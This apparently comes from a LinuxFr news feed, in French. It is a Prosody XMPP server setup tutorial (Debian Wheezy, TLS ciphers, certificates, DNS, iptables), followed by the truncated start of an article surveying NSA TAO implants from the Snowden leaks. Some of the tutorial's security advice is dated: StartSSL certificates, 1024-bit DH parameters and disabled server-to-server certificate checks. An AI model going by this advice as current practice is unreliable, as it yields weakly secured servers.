<p>Pour installer <a href="http://prosody.im">Prosody</a> sous Debian, il suffit de rajouter le dépôt dans son <em><a href="https://wiki.debian.org/SourcesList">sources.list</a></em>, on peut utiliser la ligne suivante pour le faire. Elle permet de simplifier énormement la manipulation (pour les détails, c'est <a href="http://prosody.im/download/package_repository">ici</a>) :</p>
<pre><code>echo "deb http://packages.prosody.im/debian $(lsb_release -sc) main" | sudo tee -a /etc/apt/sources.list
</code></pre>
<p>Puis on ajoute la clé GPG du dépôt :</p>
<pre><code>wget https://prosody.im/files/prosody-debian-packages.key -O- | sudo apt-key add -
</code></pre>
<p>On met à jour les dépôts, puis on installe Prosody :</p>
<pre><code>aptitude update && aptitude install prosody
</code></pre>
<p>Le paquet <a href="https://packages.debian.org/wheezy/lua-sec"><strong>lua-sec</strong></a> dans Debian est légèrement… ancien, si vous voulez les derniers algorithmes de chiffrement et que le <em><a href="https://en.wikipedia.org/wiki/Forward_secrecy">Perfect Forward Secrecy</a></em> soit pris en compte, il faut le mettre à jour.</p>
<p>Sur Debian Wheezy :</p>
<pre><code>echo "deb http://ftp.debian.org/debian wheezy-backports main" >> /etc/apt/sources.list
aptitude update && aptitude -t wheezy-backports install lua-sec-prosody
</code></pre>
<h2 id="configuration">Configuration</h2>
<p>L'ensemble de la configuration se fait dans un seul fichier : </p>
<pre><code>/etc/prosody/prosody.cfg.lua
</code></pre>
<p>La première partie est commune à l'ensemble des VirtualHosts que vous allez mettre en place. Ce qui sera écrit sous chaque <em>VirtualHost "exemple.com"</em> (en bas) sera propre à chaque VirtualHost.</p>
<p>Ce qui veut dire que si vous mettez votre configuration SSL dans la première partie, elle sera commune à <strong>tous</strong> les VirtualHosts. Faites attention aux répercussions que ça peut avoir ;-)</p>
<h3 id="la-première-brique">La première brique</h3>
<p>Ouvrez le fichier avec votre éditeur préféré (pour moi ça sera <a href="https://fr.wikipedia.org/wiki/vim" title="Définition Wikipédia">vim</a>)</p>
<pre><code>vim /etc/prosody/prosody.cfg.lua
</code></pre>
<p>Il faut <a href="http://prosody.im/doc/configure">modifier/compléter les champs suivants</a> (avec évidemment <strong>vos</strong> informations à la place de <em>example.tld</em>) :</p>
<p>Qui est administrateur du serveur (tout en haut du fichier) ? </p>
<pre><code>admins = {"admin@exemple.tld"}
</code></pre>
<p>Voulez-vous autoriser les inscriptions sur votre serveur ? À moins de savoir ce que vous faites, je vous conseille grandement de le mettre sur <code>false</code> afin d'éviter de servir aux spammeurs et aux bots.</p>
<pre><code>allow_registration = false;
</code></pre>
<p>Quel domaine voulez-vous utiliser (tout en bas du fichier) ? N'oubliez pas de changer <em>example.tld</em> pour votre domaine.</p>
<pre><code>VirtualHost "example.tld"
enabled = true
</code></pre>
<h4 id="les-logs">Les logs</h4>
<p>C'est <strong>très</strong> important (et déjà partiellement configuré). Ils permettent de trouver où est le problème quand ça ne marche pas (pour plus de détails sur la configuration : <a href="http://prosody.im/doc/logging">logging</a>), la modification par rapport au fichier original consiste à mettre le <em><a href="http://prosody.im/doc/logging">prosody.log</a></em> en <em>warn</em> et non plus en <em>info</em> et à faire la même manipulation pour le <em><a href="http://prosody.im/doc/advanced_logging">syslog</a></em> :</p>
<pre><code>log = {
warn= "/var/log/prosody/prosody.log";
error = "/var/log/prosody/prosody.err";
{ levels = { "error" }; to = "syslog"; };
</code></pre>
<p>Si vous avez un problème à régler, je vous conseille de rechanger le premier <em>warn</em> pour <em>debug</em>, puis de redémarrer prosody (via la commande <code>prosodyctl restart</code>), vous aurez alors toutes les informations qu'il vous faut dans <em>/var/log/prosody/prosody.log</em> et bien plus encore pour trouver d'où ça vient.</p>
<h4 id="un-minimum-de-sécurité">Un minimum de sécurité</h4>
<p>De base, Prosody <a href="http://prosody.im/doc/modules/mod_auth_internal_hashed">enregistre les mots de passe des comptes en clair</a> sur le serveur, pour qu'ils soient <a href="http://www.cyphercat.eu/expl_hashage.php">hashés</a>, il faut modifier la ligne <code>authentication = "internal_plain"</code> par la ligne suivante : </p>
<pre><code>authentication = "internal_hashed"
</code></pre>
<h4 id="prosodyctl">prosodyctl</h4>
<p>Prosody vient avec une commande qui aide à communiquer avec lui facilement : <em><a href="http://prosody.im/doc/prosodyctl">prosodyctl</a></em>, et qui s'utilise sous la forme suivante :</p>
<pre><code>prosodyctl COMMAND [OPTIONS]
</code></pre>
<p>Où <em>COMMAND</em> peut être :</p>
<ul>
<li>
<code>adduser</code> - <a href="mailto:exemple@exemple.tld">exemple@exemple.tld</a> - crée le compte utilisateur<br>
</li>
<li>
<code>passwd</code> - <a href="mailto:exemple@exemple.tld">exemple@exemple.tld</a> - configure le password de l'utilisateur<br>
</li>
<li>
<code>deluser</code> - <a href="mailto:exemple@exemple.tld">exemple@exemple.tld</a> - supprime l'utilisateur<br>
</li>
<li>
<code>start</code> - démarre Prosody<br>
</li>
<li>
<code>stop</code> - arrête Prosody<br>
</li>
<li>
<code>restart</code> - redémarre Prosody<br>
</li>
<li>
<code>reload</code> - recharge la configuration de Prosody<br>
</li>
<li>
<code>status</code> - indique le status actuel de Prosody<br>
</li>
</ul><p>Plutôt utile non ? :]</p>
<p>Nous allons ajouter un utilisateur (il vous demandera un mot de passe), puis nous rechargerons la configuration pour prendre en compte les changements (<code>exemple.tld</code> doit être le même que vous avez mis pour votre <code>VirtualHost</code>) :</p>
<pre><code>prosodyctl adduser exemple@exemple.tld
prosodyctl reload
</code></pre>
<p>Et là, c'est l'instant de plaisir, si vous essayez de vous connecter avec un client jabber (comme pidgin), ça devrait se connecter. Si ce n'est pas le cas (faire dans l'ordre) :</p>
<ul>
<li>voir les logs de prosody,</li>
<li>voir les logs de votre client jabber,</li>
<li>changer les logs de prosody de info à debug,</li>
<li>boire un thé (ou une bière)</li>
<li>vérifier votre firewall,</li>
<li>rebrancher la box,</li>
<li>reprendre un thé,</li>
<li>changer de FAI.</li>
</ul><h4 id="les-modules">Les modules</h4>
<p>Comme vous pouvez le voir dans le fichier de configuration, il y a déjà un certain nombre de <a href="http://prosody.im/doc/developers/global_modules">modules</a> qui sont <a href="http://prosody.im/doc/modules_enabled">activés par défaut</a> (roster, saslauth, tls, posix…). ils sont dans la partie <code>modules_enabled = { }</code>.</p>
<p>Si je vous parle de ça, vous vous doutez que ce n'est pas pour rien, il existe beaucoup de modules, dont un pour <a href="https://www.torproject.org/">Tor</a> :</p>
<ul>
<li>liste des modules : <a href="https://prosody.im/doc/modules">core modules</a>,</li>
<li>liste des modules tiers : <a href="https://code.google.com/p/prosody-modules/w/list">prosody-modules</a>,</li>
<li>mod_onions : <a href="https://blog.thijsalkema.de/blog/2013/06/11/xmpp-federation-over-tor-hidden-services/">XMPP Federation Over Tor Hidden Services</a>.</li>
</ul><h3 id="chiffrons-tout-pour-tout-le-monde">Chiffrons tout pour tout le monde</h3>
<pre><code> Manifesto - *[A public statement about ubiquitous encryption on the XMPP network.](https://github.com/stpeter/manifesto)*
</code></pre>
<p>Si vous ne connaissez pas (ou mal) le SSL/TLS, je ne peux que vous conseiller d'attaquer le sujet par la conférence de Benjamin Sonntag dans le cadre du cycle de conférence « <em><a href="http://iletaitunefoisinternet.fr">Il était une fois Internet</a></em> ».</p>
<h4 id="création-du-certificat">Création du certificat</h4>
<pre><code> Si votre certificat n'est pas reconnu « valide » par votre client jabber, par exemple en cas de certificat auto-signé, il demandera autorisation pour l'utiliser.
</code></pre>
<h5 id="la-méthode-simple-et-vraiment-rapide">La méthode simple (et vraiment rapide)</h5>
<p>La méthode « <em>simple</em> » consiste à la création d'un <a href="http://prosody.im/doc/certificates">certificat auto-signé</a> avec l'aide de <strong>prosodyctl</strong> :</p>
<pre><code># exemple.tld étant le domaine que vous avez mis dans prosody.cfg.lua
prosodyctl cert generate exemple.tld
</code></pre>
<ul>
<li>vérifier l'emplacement des certificats une fois qu'ils sont générés</li>
<li>vous pouvez les bouger dans <em>/etc/prosody/certs/</em> si vous avez envie (on part du principe que c'est le cas pour la suite)</li>
<li>N'oubliez pas les deux lignes suivantes :</li>
</ul><pre><code>chmod 600 /etc/prosody/certs/exemple.tld.key
chown prosody:prosody /etc/prosody/certs/exemple.tld.key
chown prosody:prosody /etc/prosody/certs/exemple.tld.crt
</code></pre>
<p>Pour aller plus loin :</p>
<ul>
<li>Prosody - <a href="http://prosody.im/doc/certificates">certificats</a>,</li>
<li>Prosody - <a href="http://prosody.im/doc/advanced_ssl_config">configuration SSL avancé</a>.</li>
</ul><h5 id="la-méthode-un-peu-moins-simple-mais-qui-est-vachement-mieux">La méthode un peu moins simple mais qui est vachement mieux</h5>
<p>Nous allons créer ce dont nous avons besoin en faisant une requête à <a href="http://www.startssl.com/">startssl.com</a> :</p>
<pre><code>openssl req -sha256 -out /etc/prosody/certs/exemple.csr -new -newkey rsa:2048 -nodes -keyout /etc/prosody/certs/exemple.key
</code></pre>
<p>Cette commande génère (<code>openssl req -out</code>) une <a href="https://en.wikipedia.org/wiki/Certificate_signing_request">CSR</a> (<code>-new</code>) ainsi qu'une nouvelle <a href="https://fr.wikipedia.org/wiki/Chiffrement_RSA">clé RSA</a> de 2048 bits (<code>-newkey rsa:2048</code>) qui ne sera pas chiffrée (<code>-nodes</code>). Si vous voulez encore plus de détails, c'est sur <a href="https://www.openssl.org/docs/apps/req.html#">openssl.org</a>.</p>
<p>Je vous laisse sur <a href="http://www.startssl.com/">startssl.com</a> réaliser les différentes étapes pour s'inscrire (bonne chance !), il faut choisir la <strong>première formule</strong> (celle qui est gratuite). Après la création de votre compte, la validation de votre nom de domaine, etc. etc. nous pouvons passer à la suite.</p>
<ul>
<li>Après votre authentification sur le site, cherchez l'onglet « <em>Certificates Wizard</em> » qui se trouve normalement vers la gauche de votre écran,</li>
<li>il vous demande alors pourquoi vous voulez un certificat ("<em>Select Certificate Purpose</em>"), vous choisissez donc <strong>XMPP (jabber) SSL/TLS certificate</strong>,</li>
<li>le site vous demande de créer une clé privée ("<em>Generate Private Key</em>") : <strong>VOUS NE LE FAITES PAS !</strong>, vous appuyez au contraire sur <strong>skip</strong> (nous avons créé la clé privée quelques lignes au dessus),</li>
<li>vous arrivez maintenant sur la page de demande de certificat ("<em>Submit Certificate Request (CSR)</em>"), toujours dans un terminal, vous devez taper la commande suivante :</li>
</ul><pre><code>cat /etc/prosody/certs/exemple.csr
</code></pre>
<p>Cette commande vous donnera un résultat qui devrait ressembler à </p>
<pre><code>-----BEGIN CERTIFICATE REQUEST-----
MIIChjCCAW4CAQAwQTELMAkGA1UEBhMCRlIxCzAJBgNVBAgMAkZSMQswCQYDVQQH
DAJGUjELMAkGA1UECgwCRlIxCzAJBgNVBAsMAkZSMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAsoJcj6/bwl9naKG9C9seKt4HjBicV5o96zqoO0YxtJAe
X9k2t4KTp0CrzQ85c9DfggY8oAMq/DX/xRFL0cPxamxSwwW5ttVoBQ04wBWDhjEo
a2ixpe5UMmfakuY3Q56HsIbhh7Vo4RZS1OtPOv7E2J0CfDVUhrNCpDjZbtM8akTE
9P86BkXdroJgU8tfwONMFDBF2K8ElhN6mqftb89KGIUpgm1fcDq8woRpnFER7A3H
OwfCfnlkLrtMWVca1smEWnlutBKw6cgk6uSMK9V9/Y44wMKZHoOrOQE0R26+MGrA
MLhprqPaANIvhamq+tSsSASYZDeajDS3R1JWX188awIDAQABoAAwDQYJKoZIhvcN
AQEFBQADggEBAHYSpBxHhRP87qmWNqp9Sf8dYz3oQfJLA2cLpQV2MOIfFW0mmOyz
JG6TVISKVmiEHZtHqgW4TL3BSKBAWENBM8mjAjmxXCmy2MBSWBVhDVaGz4w+x3hO
UMtNMubYxkkc/xgX5vwbuReH6y1sbkMUQm1UETb6Fnmm8dyDzwPI0zV+NdzUqqhI
ARjMM2RrwPH7QZ2lSAOiB/X+fXKhwMSg0qUExYiln20JKBi6f58GdyOu6Hp/Fi+m
r8xnIcnZ2ZIIyjh4B2bfAfybTOWHHRtOaI9yH8pTP3HnKqgbtxZJYqioTAAAQxjQ
hFmXThFFrfhTDnqJ0Fc+bjcoiLoy46FtLz8=
-----END CERTIFICATE REQUEST-----
</code></pre>
<p>Copiez-le dans la fenêtre en bas (de <code>-----BEGIN CERTIFICATE REQUEST-----</code> à <code>-----END CERTIFICATE REQUEST-----</code> !). <br>
Vous aurez alors votre certificat peu de temps après, transférez-le sur votre serveur, dans <code>/etc/prosody/certs/</code> avec comme nom « exemple.tld.<strong>crt</strong> ».</p>
<h4 id="création-dun-certificat-chaîné">Création d'un certificat chaîné</h4>
<p>Pour créer un <a href="http://prosody.im/doc/certificates#certificate_chains">certificat chaîné</a>, faites la manipulation suivante (startssl.com vous donne les liens vers ces deux certificats juste au dessus du bouton <strong>finish »»</strong> de la page <strong>Save Certificate</strong>) :</p>
<ul>
<li>télécharger le certificat intermédiaire de startssl :</li>
</ul><pre><code>wget https://www.startssl.com/certs/sub.class1.server.ca.pem
</code></pre>
<ul>
<li>puis le certificat root : </li>
</ul><pre><code>wget https://www.startssl.com/certs/ca.pem
</code></pre>
<ul>
<li>puis on forge le certificat chaîné (ne pas oublier les <strong>2</strong> <code>>></code>) :</li>
</ul><pre><code>cat sub.class1.server.ca.pem >> /etc/prosody/certs/exemple.tld.crt
cat ca.pem >> /etc/prosody/certs/exemple.tld.crt
</code></pre>
<h4 id="génération-du-dhparam">Génération du dhparam</h4>
<p>Création du <strong>dhparam</strong> (<a href="https://prosody.im/doc/advanced_ssl_config#dhparam">prosody.im/dhparam</a>) :</p>
<pre><code>openssl dhparam -out /etc/prosody/certs/dh-2048.pem 2048
</code></pre>
<p>Java ne peut pas utiliser un dhparam supérieur à 1024 bits, ce qui empêche d'utiliser par exemple le logiciel <a href="https://jitsi.org">Jitsi</a>. Pour éviter cela (c'est tout de même un client grandement utilisé), on peut générer un dhparam de 1024 bits avec la commande suivante (ne pas oublier de modifier la configuration pour remplacer dh-2048.pem par dh-1024.pem) :</p>
<pre><code>openssl dhparam -out /etc/prosody/certs/dh-1024.pem 1024
</code></pre>
<h4 id="configuration-du-ssltls">Configuration du SSL/TLS</h4>
<p>On retourne dans <em>/etc/prosody/prosody.cfg.lua</em> : </p>
<pre><code> ssl = {
key = "/var/lib/prosody/exemple.tld.key";
certificate = "/var/lib/prosody/exemple.tld.cert";
dhparam = "/etc/prosody/certs/dh-2048.pem";
options = { "no_sslv2", "no_sslv3", "no_ticket", "no_compression",
"cipher_server_preference", "single_dh_use",
"single_ecdh_use" };
ciphers = "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH EDH+aRSA !RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS";
}
</code></pre>
<ul>
<li>
<strong>c2s</strong> signifie « <em>Client TO Server</em> »,</li>
<li>
<strong>s2s</strong> signifie « <em>Server TO Server</em> ».</li>
</ul><pre><code>c2s_ports = { 5222 }
s2s_ports = { 5269 }
c2s_require_encryption = true
s2s_require_encryption = true
s2s_secure_auth = false
allow_unencrypted_plain_auth = false;
</code></pre>
<p><strong><em>s2s_secure_auth</em></strong> est sur <em>false</em> pour les <a href="http://prosody.im/doc/s2s#security">raisons suivantes</a> (<a href="http://www.urbandictionary.com/define.php?term=tl%3Bdr">TL;DR</a>: possibilité de certificat auto-signé en face). Peut marcher avec <em>s2s_auth_fingerprint</em> mais c'est douloureux.</p>
<p>Les <a href="https://prosody.im/doc/s2s#security">options</a> <em>s2s_secure_domains</em> et <em>s2s_insecure_domains</em> peuvent aussi vous intéresser, surtout si vous voulez parler avec des personnes qui sont sur gmail (ce qui veut dire que ça ne sera pas chiffré).</p>
<p>Concernant la <strong>ciphersuite</strong>, <a href="http://prosody.im/doc/advanced_ssl_config#ciphers">le choix par défaut</a> de Prosody est déjà pas mal :</p>
<pre><code>ciphers = "HIGH+kEDH:HIGH+kEECDH:HIGH:!PSK:!SRP:!3DES:!aNULL";
</code></pre>
<p>Il faut tout de même enlever <code>RC4</code> et <code>eNULL</code>, et tant qu'à faire, autant faire une liste de ciphers avec seulement du PFS (<a href="https://fr.wikipedia.org/wiki/Confidentialit%C3%A9_persistante">Perfect Forward Secrecy</a>) (c'est à mettre dans le bloc <code>ssl { }</code>) :</p>
<pre><code>ciphers = "EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA384 EECDH+ECDSA+SHA256 EECDH+aRSA+SHA384 EECDH+aRSA+SHA256 EECDH EDH+aRSA !RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS";
</code></pre>
<h3 id="dns">DNS</h3>
<p>N'oubliez pas d'ajouter les enregistrements <a href="https://fr.wikipedia.org/wiki/Enregistrement_SRV">SRV dans vos DNS</a> :</p>
<pre><code>_xmpp-client._tcp.jabber IN SRV 0 5 5222 host.exemple.com.
_xmpp-server._tcp.jabber IN SRV 0 5 5269 host.exemple.com.
</code></pre>
<h3 id="firewall">Firewall</h3>
<p>En cas de firewall, il faut ouvrir les ports 5269 et 5222 (IN et OUT) en <strong>TCP</strong>. La configuration pour <em>iptables</em> donne ceci :</p>
<pre><code>iptables -I INPUT -p tcp --dport 5269 -j ACCEPT
iptables -I OUTPUT -p tcp --sport 5269 -j ACCEPT
iptables -I INPUT -p tcp --dport 5222 -j ACCEPT
iptables -I OUTPUT -p tcp --sport 5222 -j ACCEPT
</code></pre>
<h3 id="test">Test</h3>
<p>Comme <a href="https://www.ssllabs.com/">SSLLabs</a> pour tester le SSL/TLS sur les serveurs webs, il existe <a href="https://xmpp.net/">xmpp.net</a> pour les serveurs XMPP. Je vous conseille <strong>vivement</strong> de tester votre site ! </p>
<p>Il faut <strong>toujours</strong> vérifier, même quand on pense pouvoir avoir confiance.</p>
<p>Si vous vous demandez comment améliorer votre note, c'est là : <a href="https://xmpp.net/about.php">xmpp.net/about</a>.</p></div><div><a href="https://linuxfr.org/news/mettre-en-place-un-serveur-jabber-avec-du-tls-et-du-forward-secrecy.epub">Télécharger ce contenu au format EPUB</a></div> <p>
<strong>Commentaires :</strong>
<a href="//linuxfr.org/nodes/104613/comments.atom">voir le flux Atom</a>
<a href="https://linuxfr.org/news/mettre-en-place-un-serveur-jabber-avec-du-tls-et-du-forward-secrecy#comments">ouvrir dans le navigateur</a>
</p>
skhaenZeroHeurepalm123NÿcoNeoXhttps://linuxfr.org/nodes/104613/comments.atomtag:linuxfr.org,2005:News/357012014-09-24T16:06:25+02:002014-09-24T16:06:25+02:00NSA / TAO : le chemin vers vos serveursLicence CC By‑SA http://creativecommons.org/licenses/by-sa/4.0/deed.fr<div><p><em>Ne trouvant aucune base de données des différents programmes provenant des fuites de Snowden, <a href="https://github.com/nsa-observer">nous</a> avons travaillé à la création d'une <a href="https://www.nsa-observer.net">base de données</a> concernant la NSA et le GCHQ. L'article qui suit est une synthèse d'une partie de nos travaux.</em></p>
<p><abbr title="Note des modérateurs">NdM</abbr> : cet article poursuit la série commencée par <a href="//linuxfr.org/news/nsa-observer-quels-sont-les-programmes-de-la-nsa">NSA-observer — quels sont les programmes de la NSA ?</a>, <a href="//linuxfr.org/news/nsa-temps-de-faire-le-premier-point">NSA - temps de faire le (premier) point</a> et <a href="//linuxfr.org/news/que-peut-faire-le-service-d-elite-jtrig-du-gchq">Que peut faire le service d'élite JTRIG du GCHQ ?</a>.</p>
<p>Nous (nsa-observer) allons aborder aujourd'hui le "<a href="https://www.nsa-observer.net/tags/ant">catalogue</a>" du groupe d'élite de la NSA nommé <em>TAO</em> (pour <em><a href="https://en.wikipedia.org/wiki/Tailored_Access_Operations">Tailored Access Operations</a></em>). La mission de ce groupe est, depuis sa création en 1997, d'identifier, de monitorer et de <a href="http://fr.wikipedia.org/wiki/Tao">trouver un chemin</a> vers des réseaux ou des systèmes pour collecter des informations. Ce département a gagné la réputation de collecter certains des meilleurs renseignements parmi les services de renseignements US, que ce soit sur la Chine, sur des groupes terroristes, ou sur les activités politiques, militaires et économiques d'un pays.</p></div><ul><li>lien nᵒ 1 : <a title="https://www.libwalk.so/2014/09/22/TAO-catalogue-ANT.html" hreflang="fr" href="https://linuxfr.org/redirect/91590">lien vers l'article original</a></li><li>lien nᵒ 2 : <a title="https://www.nsa-observer.net" hreflang="fr" href="https://linuxfr.org/redirect/91591">nsa-observer</a></li></ul><div><h2 class="sommaire">Sommaire</h2>
<ul class="toc">
<li><ul>
<li><ul>
<li><a href="#tao-sort-de-lombre">TAO sort de l'ombre</a></li>
</ul></li>
<li>
<a href="#les-programmes">Les programmes</a><ul>
<li>
<a href="#implants-logiciels">Implants logiciels</a><ul>
<li><a href="#t%C3%A9l%C3%A9phones">Téléphones</a></li>
<li><a href="#serveurs-et-firewalls">Serveurs et firewalls</a></li>
</ul>
</li>
<li>
<a href="#implants-mat%C3%A9riels">Implants matériels</a><ul>
<li><a href="#et-les-drones">Et les drones ?</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#mais-comment-font-ils">Mais comment font-ils ?</a></li>
<li>
<a href="#oui-et-alors">Oui et alors ?</a><ul>
<li><a href="#sources">Sources</a></li>
</ul>
</li>
<li>
<a href="#tao---catalogue-ant">TAO - </a><a href="https://www.nsa-observer.net/tags/ant">catalogue ANT</a><ul>
<li>
<a href="#tag-ant-nsa-sur-nsa-observernet">Tag </a><a href="https://www.nsa-observer.net/tags/ant">ANT</a> (NSA) sur nsa-observer.net</li>
</ul>
</li>
</ul></li>
</ul><p><a href="http://www.foreignpolicy.com/articles/2013/06/10/inside_the_nsa_s_ultra_secret_china_hacking_group?page=full">Foreignpolicy.com</a> indique que plus de 1000 personnes, civiles et militaires, y travailleraient à partir de 5 bases : ROC (pour <em><a href="https://www.nsa-observer.net/category/compartment/family/collect/name/ROC">Remote Operations Center</a></em>), basé à <a href="https://en.wikipedia.org/wiki/Fort_Meade">Fort Meade</a> (Maryland) qui est entre autres le quartier général de la NSA, <a href="https://en.wikipedia.org/wiki/Kunia_Regional_SIGINT_Operations_Center">Hawaii</a> (Wahiawa, Oahu), <a href="https://en.wikipedia.org/wiki/Fort_Gordon">Fort Gordon</a> (Georgie), au <em><a href="https://en.wikipedia.org/wiki/Texas_Cryptologic_Center">Texas Cryptologic Center</a></em> et à la base de l'US Air Force <a href="https://en.wikipedia.org/wiki/Buckley_Air_Force_Base">BKF</a> (Denver). </p>
<p>TAO est divisé en quatre départements, chacun spécialisé dans un domaine précis, l'ensemble des équipes travaillant par roulement 24/7 :</p>
<ul>
<li>Data Network Technologies (DNT) qui s'occupe de la conception de malwares,</li>
<li>Telecommunications Network Technologies (TNT) cible spécifiquement les méthodes de pénétrations dans les réseaux et les ordinateurs (bien entendu sans se faire détecter),</li>
<li>Mission Infrastructure Technologies (MIT) développe et construit les outils de <em>monitoring</em> hardware ainsi que les infrastructures qui permettent de tout supporter.</li>
<li>Access Technologies Operations (ATO) travaille avec la CIA et le FBI. Ces deux derniers mettant en place des modules de surveillance permettant aux opérateurs de TAO de les utiliser à distance.</li>
</ul><h4 id="tao-sort-de-lombre">TAO sort de l'ombre</h4>
<p>Même si les premières informations publiques datent de <a href="http://www.foreignpolicy.com/articles/2013/06/10/inside_the_nsa_s_ultra_secret_china_hacking_group">l'été 2013</a>, cette branche de la NSA est réellement sortie de l'ombre en décembre 2013 avec la conférence "<a href="http://media.ccc.de/browse/congress/2013/30C3_-_5713_-_en_-_saal_2_-_201312301130_-_to_protect_and_infect_part_2_-_jacob.html">To protect and infect, part 2: The militarization of the Internet</a>" de <a href="https://en.wikipedia.org/wiki/Jacob_Appelbaum">Jacob Appelbaum</a> au <a href="http://media.ccc.de/browse/congress/2013/">30c3</a> où il présente les différents programmes d'attaque et de collecte, en coopération avec le Spiegel (<em><a href="http://www.spiegel.de/international/world/the-nsa-uses-powerful-toolbox-in-effort-to-spy-on-global-networks-a-940969.html">Inside TAO: Documents Reveal Top NSA Hacking Unit</a></em>).</p>
<p>Vidéo 30C3 : <a href="http://cdn.media.ccc.de/congress/2013/mp4/30c3-5713-en-de-To_Protect_And_Infect_Part_2_h264-hq.mp4">mp4</a> - <a href="http://cdn.media.ccc.de/congress/2013/webm/30c3-5713-en-de-To_Protect_And_Infect_Part_2_webm.webm">webm</a></p>
<p>En plein milieu des "<a href="http://cryptome.org/2013/11/snowden-tally.htm">révélations Snowden</a>", c'est un coup de tonnerre.</p>
<p>Les programmes peuvent se classer en différentes catégories : les implants matériels et les implants logiciels, dans lesquels on peut en mettre d'autres, comme ceux qui visent les téléphones (aussi bien GSM, smartphone que satellite), les malwares, et les programmes "RF" (pour radio-fréquences). Comme vous allez le voir, TAO fait plutôt de l'ultra-ciblé que de l'écoute de masse (au contraire du <a href="https://www.libwalk.so/2014/07/04/gchq-jtrig-part1.html">GCHQ</a>). Ce qui concorde parfaitement avec leur mission : réussir à avoir les infos là où elles sont difficiles d'accès.</p>
<h3 id="les-programmes">Les programmes</h3>
<p>Présenter un tel catalogue implique de sélectionner certains de ses éléments sans s'étendre sur son intégralité. Quasiment tous les programmes sont intéressants de par leur méthodes opérationnelles, cependant, dans la mesure du possible, nous parlerons seulement des programmes qui sortent de l'ordinaire. On ne parlera par exemple pas trop des variantes d'<a href="http://en.wikipedia.org/wiki/IMSI-catcher">IMSI catcher</a> que l'on peut trouver <a href="https://twitter.com/pbump/status/417688999101083648">partout</a>. </p>
<h4 id="implants-logiciels">Implants logiciels</h4>
<p><a href="https://www.nsa-observer.net/IRATEMONK">IRATEMONK</a> permet de modifier les microcodes des disques durs de différentes marques (Western Digital, Seagate, Maxtor et Samsung) pour exécuter du code lors du démarrage.</p>
<h5 id="téléphones">Téléphones</h5>
<ul>
<li>
<a href="https://www.nsa-observer.net/DROPOUTJEEP">DROPOUTJEEP</a> - implant pour Iphone, la NSA indique dans le catalogue que DROPOUTJEEP avait 100% de chances de succès. </li>
<li>
<a href="https://www.nsa-observer.net/MONKEYCALENDAR">MONKEYCALENDAR</a> - implant ciblant les cartes SIM (<em>Subscriber Identify Module</em>) et envoi par SMS, à un numéro défini, les appels et la géolocalisation de l'utilisateur.</li>
<li>
<a href="https://www.nsa-observer.net/TOTEGHOSTLY">TOTEGHOSTLY</a> - malware ciblant les téléphones Windows (mais quelle version ?), utilisant le framework CHIMNEYPOOL et contrôlé par STRAITBIZARRE. Il est utilisé pour mettre en place ou exfiltrer des fichiers, des sms, la liste des contacts ou encore trouver la géolocalisation via sms ou connection GPRS. L'attaquant a aussi le contrôle de la caméra et du micro.</li>
<li>
<a href="https://www.nsa-observer.net/TOTECHASER">TOTECHASER</a> - malware ciblant le téléphone satellite/GSM <a href="http://www.thuraya.com/userfiles/files/Thuraya%20SG/Brochure/Thuraya%20SG_2520_Jun2010.pdf">Thuraya 2520</a> basé sur <a href="http://fr.wikipedia.org/wiki/Windows_CE">Windows CE</a>. Il est utilisé pour exfiltrer les données de géolocalisation ainsi que les logs des appels et la liste de contacts via des sms cachés. Les sms servent aussi à l'attaquant à contrôler le téléphone. Selon les documents, l'implémentation de ce malware nécessite de modifier le téléphone lui même.</li>
</ul><p>Ce genre d'attaque est la spécialité de l'entreprise <a href="http://en.wikipedia.org/wiki/FinFisher">FinFisher</a> (Gamma International) qui est spécialisée dans les malwares "légaux" (lire "pour les forces de l'ordre, que vous soyez une dictature ou non"). Pour plus de détails sur les capacités de leurs malwares, lire "<em><a href="https://netzpolitik.org/2014/gamma-finfisher-hacked-40-gb-of-internal-documents-and-source-code-of-government-malware-published/">Gamma FinFisher hacked: 40 GB of internal documents and source code of government malware published</a></em>" (netzpolitik.org) ainsi que "<em><a href="https://wikileaks.org/spyfiles4/index.html">SpyFiles 4</a></em>" (wikileaks.org) concernant les malwares eux-mêmes.</p>
<p>Il n'y a normalement aucun lien entre la NSA et FinFisher, mais les URLs vous permettront de mieux appréhender ce que l'on peut faire avec des malwares sur des téléphones.</p>
<h5 id="serveurs-et-firewalls">Serveurs et firewalls</h5>
<ul>
<li>
<a href="https://www.nsa-observer.net/SWAP">SWAP</a> exploite le bios de la carte-mère et le <em>Host Protected Area</em> des disques durs pour obtenir des fenêtres d'exécution avant que le système ne charge. Cette technique fonctionne sur des systèmes Windows, Linux, FreeBSD, et Solaris,</li>
<li>
<a href="https://www.nsa-observer.net/JETPLOW">JETPLOW</a> est un implant persistant (sous la forme d'un firmware) ciblant la série des <strong>Cisco</strong> PIX et des pare-feux ASA (Adaptive Security Appliance) et permettant la mise en place d'une porte dérobée. À noter que <a href="https://www.nsa-observer.net/BANANAGLEE">BANANAGLEE</a> fonctionne aussi sur ce type de matériel (et pas seulement sur du Juniper),</li>
<li>
<a href="https://www.nsa-observer.net/DEITYBOUNCE">DEITYBOUNCE</a> - implant logiciel exploitant le bios de la carte mère des serveurs <strong>Dell</strong> PowerEdge,</li>
<li>Les programmes se finissant par "MONTANA" (<a href="https://www.nsa-observer.net/SCHOOLMONTANA">SCHOOLMONTANA</a> / <a href="https://www.nsa-observer.net/SIERRAMONTANA">SIERRAMONTANA</a> / <a href="https://www.nsa-observer.net/STUCCOMONTANA">STUCCOMONTANA</a>) visent les serveurs <strong>Juniper</strong> alors que les programmes finissant par TROUGH (<a href="https://www.nsa-observer.net/GOURMETTROUGH">GOURMETTROUGH</a> / <a href="https://www.nsa-observer.net/SOUFFLETROUGH">SOUFFLETROUGH</a> / <a href="https://www.nsa-observer.net/FEEDTHROUGH">FEEDTHROUGH</a>) visent spécifiquement les firewalls du même constructeur,</li>
<li>
